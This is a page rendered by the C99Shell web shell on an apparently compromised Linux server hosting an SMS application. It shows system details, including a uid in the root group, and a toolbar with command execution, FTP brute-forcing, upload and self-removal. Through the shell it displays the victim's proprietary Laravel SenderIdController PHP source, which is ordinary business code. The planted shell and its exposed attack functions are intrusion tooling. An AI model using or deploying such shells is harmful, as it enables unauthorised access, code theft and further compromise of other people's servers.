!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 28.62 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SenderIdController.php (17.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\Invoice;
use 
App\Models\SenderId;
use 
App\Models\SenderIdDetail;
use 
App\Models\Settings;
use 
App\Models\Transactions;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;

class 
SenderIdController extends Controller
{
    public function 
index()
    {
        
$data['senderIdPrice']= Settings::where('name''senderid_price')->first();
        return 
view('admin.senderId.index'$data);
    }

    public function 
getAll()
    {
        
$senders SenderId::where('status','approved')->where('is_dlt','no')->select(['id','customer_id','dynamic_gateway_id','sender_id','expire_date''status''is_paid','is_dlt']);
        return 
datatables()->of($senders)
            ->
addColumn('expire_date',function($q){
                if (
$q->expire_date) {
                    return 
formatDate($q->expire_date);
                }else{
                    return 
'';
                }
            })
            ->
addColumn('customer',function($q){
                return 
"<a href='" route('admin.customers.edit', [$q->customer_id]) . "'>".$q->customer->full_name."</a>";
            })
            ->
addColumn('from',function($q){
                
$gateway=$q->gateway->name;
                return 
$gateway;
            })
            ->
addColumn('status',function(SenderId $q){
                
$renew='';
                if(
$q->expire_date now()){
                    
$renew '<button class="btn btn-sm btn-info " data-message="<label>Enter Expire Date</label><br><input value='.now()->addDay().' name=' 'expire_date' ' type=' 'date' ' class=' 'form-control' '  >"
                                        data-action=' 
route('admin.sender.requests.response') . '
                                        data-input={"id":"' 
$q->id '","status":"renew"}
                                        data-toggle="modal" data-target="#modal-confirm"  >Renew</button>'
;
                }

                if(
$q->status == 'approved'){
                    return 
'<button class="btn btn-sm mr-2 btn-danger" data-message="Are you sure you want to reject the request ?"
                                        data-action='
.route('admin.sender.requests.response').'
                                        data-input={"id":"'
.$q->id.'","status":"rejected"}
                                        data-toggle="modal" data-target="#modal-confirm"  >Reject</button>'
                                        
.
                                        
'<a href="'.route('admin.sender.sec.details', [$q->id]).'" class="btn btn-sm btn-warning">Sec Details</a>'
                                        
."&nbsp;&nbsp;&nbsp;$renew";
                }else{
                    return 
'';
                }
            })
            
// ->addColumn('sender_id',function($q){
            //     if($q->is_dlt == 'yes'){
            //         $sender_id = '<strong>'.$q->sender_id.' (DLT) </strong>';
            //     }
            //     else {
            //         $sender_id = '<strong>'.$q->sender_id.'</strong>';
            //     }
            //     return $sender_id;
            // })
            
->rawColumns(['customer''status','from'])
            ->
toJson();
    }
    public function 
sender_id_request(Request $request)
    {
        
$senderId SenderId::find($request->id);

        if(!
$senderId){
            return 
back()->with('fail','Sender ID not found');
        }
        
$expire_date=$request->expire_date?:now();
        if(
$request->status=='renew'){
            
$senderId->expire_date=$expire_date;
            
$senderId->save();
            return 
back()->with('success'trans('admin.message.senderid_renewed'));
        }
        if(
$request->status == 'review') {
            
$request->validate([
                
'status' => 'required|in:approved,rejected,review_pending,review',
                
'dynamic_gateway_id' => 'required',
            ]);
        }else{
            
$request->validate([
                
'status' => 'required|in:approved,rejected,review_pending,review',
            ]);
        }


        
$senderIdPrice = isset(json_decode(get_settings('senderid_price'))->sender_id_price) ? json_decode(get_settings('senderid_price'))->sender_id_price 0;
//        If sender-id price is 0 then approving automatically
        
if ($senderIdPrice==&& $request->status !='rejected'){
            
$expire_date Carbon::now()->addMonths(1);
            
$senderId->expire_date=$expire_date;
            
$senderId->status='approved';
            
$senderId->is_paid='yes';
            
$senderId->dynamic_gateway_id=$request->dynamic_gateway_id;
            
$senderId->save();
            return 
back()->with('success'trans('admin.message.senderid_assign_success'));
        }

        if(
$request->status == 'review'){
            
$senderId->dynamic_gateway_id=$request->dynamic_gateway_id;
            
$senderId->status=$request->status;
            
$senderId->save();
        }else if(
$request->status=='review_pending'){
            
$expire_date Carbon::now()->addMonths(1);
            
$senderId->expire_date=$expire_date;
            
$senderId->status='approved';
            
$senderId->is_paid='yes';
            
$senderId->save();

            if(
$request->status=='accepted') {
                
$transactions Transactions::where('ref_id'$senderId->id)->where('type','sender_id')->first();
                if (
$transactions) {
                    
$transactions->status 'paid';
                    
$transactions->save();
                }
            }

        }else{
            
$senderId->status=$request->status;
            
$senderId->save();
        }

        return 
back()->with('success''Sender ID '.str_replace('_','-'ucfirst($request->status)).' successfully');
    }

    public function 
sender_id_approved(){
        
$data['gateways']=auth()->user()->gateways()->where('status''active')->get();
        return 
view('admin.senderId.requests'$data);
    }
    public function 
sender_id_get_requests()
    {
        
$senders SenderId::where('status','!=','approved')->where('is_dlt','no')->orderByDesc('created_at')->select(['id','dynamic_gateway_id','customer_id','sender_id','status','is_dlt']);
        return 
datatables()->of($senders)
            ->
addColumn('customer',function($q){
                return 
"<a href='" route('admin.customers.edit', [$q->customer_id]) . "'>".$q->customer->full_name."</a>";
            })
            ->
addColumn('action',function(SenderId $q){
                if(
$q->status == 'pending'){
                    return 
'<button class="mr-1 btn btn-sm btn-info approve_btn" type="button" data-message="Are you sure you want to approve this Sender ID ?"
                                    data-status="review" data-id="'
.$q->id.'" data-senderid="'.$q->sender_id.'" >Approve</button>'.
                        
'<button class="btn btn-sm btn-danger mr-1" data-message="Are you sure you want to reject the request ?"
                                        data-action='
.route('admin.sender.requests.response').'
                                        data-input={"id":"'
.$q->id.'","status":"rejected"}
                                        data-toggle="modal" data-target="#modal-confirm"  >Reject</button>'
                                        
.
                        
'<a href="'.route('admin.sender.sec.details', [$q->id]).'" class="btn btn-sm btn-warning">Sec Details</a>';
                }else if(
$q->status=='review_pending'){
                    return 
'<button  data-status="review_pending" class="mr-1 btn btn-sm btn-info approve_btn" type="button" data-message="Are you sure you want to approve this Sender ID ?"
                                     data-id="'
.$q->id.'" data-senderid="'.$q->sender_id.'" >Approve</button>';
                }
            })
            ->
addColumn('from',function($q){
                
$gateway=$q->gateway->name;
                return 
$gateway;
            })
            ->
addColumn('status',function(SenderId $q){
                if(
$q->status == 'review'){
                    
$status'<strong class="text-danger">Not paid Yet</strong>';
                }else if(
$q->status=='review_pending'){
                    
$status'<strong class="text-info">Review Payment</strong>';
                }else if(
$q->status=='approved'){
                    
$status'<strong class="text-success">Approved</strong>';
                }else{
                    
$statusucfirst($q->status);
                }
                return 
$status;
            })
            ->
rawColumns(['action','customer','status','from','sender_id'])
            ->
toJson();
    }
    public function 
removeSenderId(Request $request){

        
$senderId SenderId::where('id',$request->id)->first();

        if(!
$senderId){
            return 
redirect()->back()->with('fail',trans('admin.message.invalid_senderid'));
        }
        
$senderId->delete();

        return 
back()->with('success'trans('admin.message.senderid_deleted'));
    }

    public function 
setPrice(Request $request){

        
$data=['name'=>'senderid_price'];
        
$requestData=$request->only('sender_id_price');
        
$setting auth()->user()->settings()->firstOrNew($data);
        
$setting->value json_encode($requestData);
        
$setting->save();
        
cache()->forget('settings');
        return 
redirect()->back()->with('success'trans('admin.message.sender_id_price_set_successfully'));
    }
    public function 
details($id){

        
$senderId SenderId::findOrFail($id);

        
$data['senderId'] = $senderId;

        return 
view('admin.senderId.details',$data);
    }

    public function 
getAllheaderid()
    {
        
$senders SenderId::where('status','approved')->where('is_dlt','yes')->select(['id','customer_id','dynamic_gateway_id','sender_id','expire_date''status''is_paid','is_dlt']);
        return 
datatables()->of($senders)
            ->
addColumn('expire_date',function($q){
                if (
$q->expire_date) {
                    return 
formatDate($q->expire_date);
                }else{
                    return 
'';
                }
            })
            ->
addColumn('customer',function($q){
                return 
"<a href='" route('admin.customers.edit', [$q->customer_id]) . "'>".$q->customer->full_name."</a>";
            })
            ->
addColumn('from',function($q){
                
$gateway=$q->gateway->name;
                return 
$gateway;
            })
            ->
addColumn('status',function(SenderId $q){
                
$renew='';
                if(
$q->expire_date now()){
                    
$renew '<button class="btn btn-sm btn-info " data-message="<label>Enter Expire Date</label><br><input value='.now()->addDay().' name=' 'expire_date' ' type=' 'date' ' class=' 'form-control' '  >"
                                        data-action=' 
route('admin.sender.requests.response') . '
                                        data-input={"id":"' 
$q->id '","status":"renew"}
                                        data-toggle="modal" data-target="#modal-confirm"  >Renew</button>'
;
                }

                if(
$q->status == 'approved'){
                    return 
'<button class="btn btn-sm mr-2 btn-danger" data-message="Are you sure you want to reject the request ?"
                                        data-action='
.route('admin.sender.requests.response').'
                                        data-input={"id":"'
.$q->id.'","status":"rejected"}
                                        data-toggle="modal" data-target="#modal-confirm"  >Reject</button>'
                                        
.
                                        
'<a href="'.route('admin.sender.sec.details', [$q->id]).'" class="btn btn-sm btn-warning">Sec Details</a>'
                                        
."&nbsp;&nbsp;&nbsp;$renew";
                }else{
                    return 
'';
                }
            })
            ->
rawColumns(['customer''status','from'])
            ->
toJson();
    }
    public function 
getAllheaderidrequests()
    {
        
$senders SenderId::where('status','!=','approved')->where('is_dlt','yes')->orderByDesc('created_at')->select(['id','dynamic_gateway_id','customer_id','sender_id','status','is_dlt']);
        return 
datatables()->of($senders)
            ->
addColumn('customer',function($q){
                return 
"<a href='" route('admin.customers.edit', [$q->customer_id]) . "'>".$q->customer->full_name."</a>";
            })
            ->
addColumn('action',function(SenderId $q){
                if(
$q->status == 'pending'){
                    return 
'<button class="mr-1 btn btn-sm btn-info approve_btn" type="button" data-message="Are you sure you want to approve this Header ID ?"
                                    data-status="review" data-id="'
.$q->id.'" data-senderid="'.$q->sender_id.'" >Approve</button>'.
                        
'<button class="btn btn-sm btn-danger mr-1" data-message="Are you sure you want to reject the request ?"
                                        data-action='
.route('admin.sender.requests.response').'
                                        data-input={"id":"'
.$q->id.'","status":"rejected"}
                                        data-toggle="modal" data-target="#modal-confirm"  >Reject</button>'
                                        
.
                        
'<a href="'.route('admin.sender.sec.details', [$q->id]).'" class="btn btn-sm btn-warning">Sec Details</a>';
                }else if(
$q->status=='review_pending'){
                    return 
'<button  data-status="review_pending" class="mr-1 btn btn-sm btn-info approve_btn" type="button" data-message="Are you sure you want to approve this Sender ID ?"
                                     data-id="'
.$q->id.'" data-senderid="'.$q->sender_id.'" >Approve</button>';
                }
            })
            ->
addColumn('from',function($q){
                
$gateway=$q->gateway->name;
                return 
$gateway;
            })
            ->
addColumn('status',function(SenderId $q){
                if(
$q->status == 'review'){
                    
$status'<strong class="text-danger">Not paid Yet</strong>';
                }else if(
$q->status=='review_pending'){
                    
$status'<strong class="text-info">Review Payment</strong>';
                }else if(
$q->status=='approved'){
                    
$status'<strong class="text-success">Approved</strong>';
                }else{
                    
$statusucfirst($q->status);
                }
                return 
$status;
            })
            ->
rawColumns(['action','customer','status','from','sender_id'])
            ->
toJson();
    }
    public function 
headerId(){
        return 
view('admin.senderId.headerid');
    }
    public function 
headerIdRequest(){
        
$data['gateways']=auth()->user()->gateways()->where('status''active')->get();
        return 
view('admin.senderId.headerid_request',$data);
    }
    public function 
header_id_request(Request $request)
    {
        
$senderId SenderId::find($request->id);
    
        if (!
$senderId) {
            return 
back()->with('fail''Sender ID not found');
        }
    
        
$expire_date $request->expire_date ?: now();
    
        if (
$request->status == 'renew') {
            
$senderId->expire_date $expire_date;
            
$senderId->save();
            return 
back()->with('success'trans('admin.message.senderid_renewed'));
        }
    
        if (
$request->status == 'review') {
            
$request->validate([
                
'status' => 'required|in:approved,rejected,review_pending,review',
                
'dynamic_gateway_id' => 'required',
            ]);
        } else {
            
$request->validate([
                
'status' => 'required|in:approved,rejected,review_pending,review',
            ]);
        }
    
        
$senderIdPrice = isset(json_decode(get_settings('senderid_price'))->sender_id_price
            ? 
json_decode(get_settings('senderid_price'))->sender_id_price 
            
0;
    
        if (
$senderIdPrice == && $request->status != 'rejected') {
            
$expire_date Carbon::now()->addYears(10); 
            
$senderId->expire_date $expire_date;
            
$senderId->status 'approved';
            
$senderId->is_paid 'yes';
            
$senderId->dynamic_gateway_id $request->dynamic_gateway_id;
            
$senderId->save();
            return 
back()->with('success'trans('admin.message.senderid_assign_success'));
        }
    
        if (
$request->status == 'review') {
            
$senderId->dynamic_gateway_id $request->dynamic_gateway_id;
            
$senderId->status $request->status;
            
$senderId->save();
        } else if (
$request->status == 'review_pending') {
            
$expire_date Carbon::now()->addYears(10); 
            
$senderId->expire_date $expire_date;
            
$senderId->status 'approved';
            
$senderId->is_paid 'yes';
            
$senderId->save();
    
            if (
$request->status == 'accepted') {
                
$transactions Transactions::where('ref_id'$senderId->id)
                    ->
where('type''sender_id')
                    ->
first();
                if (
$transactions) {
                    
$transactions->status 'paid';
                    
$transactions->save();
                }
            }
        } else {
            
$senderId->status $request->status;
            
$senderId->save();
        }
    
        return 
back()->with('success''Header ID ' str_replace('_''-'ucfirst($request->status)) . ' successfully');
    }
    
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0063 ]--